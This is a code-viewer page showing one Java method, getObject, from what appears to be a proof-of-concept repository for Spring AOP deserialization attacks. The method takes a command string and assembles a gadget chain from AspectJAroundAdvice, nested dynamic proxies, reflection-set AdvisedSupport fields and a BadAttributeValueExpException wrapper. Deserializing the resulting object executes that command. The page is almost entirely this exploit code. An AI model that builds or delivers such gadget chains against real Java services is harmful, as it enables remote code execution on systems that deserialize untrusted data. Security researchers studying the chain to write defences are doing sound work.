MCPcopy Create free account
hub / github.com/Ape1ron/SpringAopInDeserializationDemo1 / getObject

Method getObject

src/main/java/SpringAOP1.java:30–46  ·  view source on GitHub ↗
(String cmd)

Source from the content-addressed store, hash-verified

28
29
30 public Object getObject (String cmd) throws Throwable {
31 AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
32 InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
33 Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
34 Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
35 List<Advisor> advisors = new ArrayList<>();
36 advisors.add(advisor);
37 AdvisedSupport advisedSupport = new AdvisedSupport();
38 Reflections.setFieldValue(advisedSupport,"advisors",advisors);
39 DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
40 Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
41 InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
42 Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);
43
44 Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2);
45 return badAttrValExe;
46 }
47
48
49

Callers 1

mainMethod · 0.95

Calls 5

makeGadgetMethod · 0.95
makeGadgetMethod · 0.95
setFieldValueMethod · 0.95
makeGadgetMethod · 0.95

Tested by

no test coverage detected